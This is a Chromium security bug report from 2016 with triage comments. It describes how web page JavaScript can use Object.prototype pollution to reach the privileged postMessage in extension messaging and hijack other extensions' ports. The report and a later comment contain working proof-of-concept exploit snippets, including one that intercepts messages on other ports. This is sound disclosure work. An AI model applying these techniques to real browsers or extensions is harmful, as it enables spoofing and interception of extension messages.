New issue
Advanced search Search tips

Issue 609569 link

Starred by 1 user

Issue metadata

Status: Duplicate
Merged: issue 603748
Owner:
Closed: May 2016
Cc:
Components:
EstimatedDays: ----
NextAction: ----
OS: Chrome
Pri: 1
Type: Bug-Security



Sign in to add a comment

unprivileged JS can send messages to inaccessible ports

Project Member Reported by jannh@google.com, May 5 2016

Issue description

UserAgent: Mozilla/5.0 (X11; CrOS x86_64 7834.70.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.112 Safari/537.36

Steps to reproduce the problem:
1. ensure that there are no extensions installed that inject content scripts into google.com and that developer tools are closed
2. unpack test-victim-extension.zip and load the contents of the directory as extension
3. open port-hijack.html in a new tab (in which developer tools should *not* be opened)
4. click the link in port-hijack.html
4. wait a bit

What is the expected behavior?

What went wrong?
You should see a notification popup, created by the background script of the test extension in response to a message it received over the port that was opened by the content script.

The magic happens here in port-hijack.html:

Object.prototype.readonly=['postMessage'];
/* `chrome.runtime` in the next line triggers lazy load of extensions::messaging */
var postMessage_ = chrome.runtime.connect('x').postMessage;
delete Object.prototype.readonly;
function postMessageToPort(portId, msg) {
  return postMessage_.call({portId_: portId}, msg);
}

When the code references chrome.runtime, the privileged extensions::messaging JS code is loaded and creates the Port wrapper class around the privileged backing class using the following code:

var Port = utils.expose('Port', PortImpl, { functions: [
    'disconnect',
    'postMessage'
  ],
  properties: [
    'name',
    'onDisconnect',
    'onMessage'
  ] });

utils.expose is implemented as follows:

function expose(name, cls, exposed) {
  var publicClass = createClassWrapper(name, cls, exposed.superclass);

  if ('functions' in exposed) {
    $Array.forEach(exposed.functions, function(func) {
      publicClass.prototype[func] = function() {
        var impl = privates(this).impl;
        return $Function.apply(impl[func], impl, arguments);
      };
    });
  }

  if ('properties' in exposed) {
    [...]
  }

  if ('readonly' in exposed) {
    $Array.forEach(exposed.readonly, function(readonly) {
      $Object.defineProperty(publicClass.prototype, readonly, {
        enumerable: true,
        get: function() {
          return privates(this).impl[readonly];
        },
      });
    });
  }

  return publicClass;
}

This first registers a proper, safe function wrapper for postMessage as requested by extensions::messaging, but then, when looking up the list of properties that should be made available as read-only, performs an access through to Object.prototype because the `readonly` property of `exposed` wasn't set explicitly, allowing the attacker to request that direct access to the postMessage function should be provided. This function can then be called with arbitrary `this` arguments, allowing the attacker to control the portId that messages are sent to.

This issue allows normal websites to send messages through ports owned by other stuff running in the same renderer process - e.g. in this case, when tab A and tab B run in the same renderer and a content script in tab B has an open port to the corresponding browser extension, tab A can send messages to the extension over the content script's port.

This is vaguely related to  issue #609286  - in both cases, a lack of separation between normal JS code and privileged helper JS code allows the normal JS code to mess with the privileged code. In this case, the problem is that the privileged code uses objects with prototypes that the unprivileged code has access to.

Did this work before? N/A 

Chrome version: 49.0.2623.112  Channel: n/a
OS Version: 7834.70.0
Flash Version: Shockwave Flash 21.0 r0
 
test-victim-extension.zip
1.3 KB Download
port-hijack.html
585 bytes View Download
Components: Platform>Extensions>API
Owner: rdevlin....@chromium.org
Status: Assigned (was: Unconfirmed)
Sorry, another extensions bug for you =(

Comment 2 by f...@chromium.org, May 6 2016

Labels: -Pri-2 Security_Severity-Medium ReleaseBlock-Stable Pri-1
Clever bug, thanks for finding/reporting it.

Comment 3 by f...@chromium.org, May 6 2016

Labels: -ReleaseBlock-Stable Security_Impact-Stable

Comment 4 by f...@chromium.org, May 6 2016

Labels: M-50

Comment 5 by jannh@google.com, May 6 2016

To help you decide on a good way to fix this, here are some other ways to reach the same or similar things:

Intercepting the `PortImpl.prototype.postMessage = function(msg) { ...` assignment to get the hidden postMessage function:

var postMessage_;
Object.prototype.__defineSetter__('postMessage', function(postMessage) {
  if (typeof postMessage === 'function') {
    delete Object.prototype.postMessage;
    postMessage_ = postMessage;
    this.postMessage = postMessage;
  }
});
chrome.runtime;
postMessage_


Adding fake elements to the `ports` object to receive messages on ports you don't own:

var fakeport = {onMessage:{dispatch:function(msg){console.log('stolen:'+msg)}}};
for (var i=0; i<1000000; i++) Object.prototype[i] = fakeport;

Using a wrapper function created in expose() with a `this` of the wrong type to cause an access to an undefined property of privates(this).impl, yielding access to the impl object:

var postMessage_;
Object.prototype.dispatch = function(){postMessage_ = this.postMessage};
chrome.webstore.onDownloadProgress.dispatch.call(chrome.runtime.connect('a'));
postMessage_
Cc: rob@robwu.nl
Fun.  +Rob in case he wants to take this one.

Comment 7 by rob@robwu.nl, May 6 2016

Mergedinto: 603748
Status: Duplicate (was: Assigned)
The exploit does not work in 52.0.2725.0, probably because of 931719c51866a7c2e272114517cc52aa6581adff ( bug 603748 ).

In that bug I decided against merging the patch because another vulnerability that I exploited through that bug was fixed, but you showed a new exploit so I'll request a merge to stable. Thanks for the detailed report and test case!
Project Member

Comment 8 by sheriffbot@chromium.org, Aug 13 2016

Labels: -Restrict-View-SecurityTeam
This bug has been closed for more than 14 weeks. Removing security view restrictions.

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot
Project Member

Comment 9 by sheriffbot@chromium.org, Oct 1 2016

This bug has been closed for more than 14 weeks. Removing security view restrictions.

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot
Project Member

Comment 10 by sheriffbot@chromium.org, Oct 2 2016

This bug has been closed for more than 14 weeks. Removing security view restrictions.

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot
Labels: allpublic

Sign in to add a comment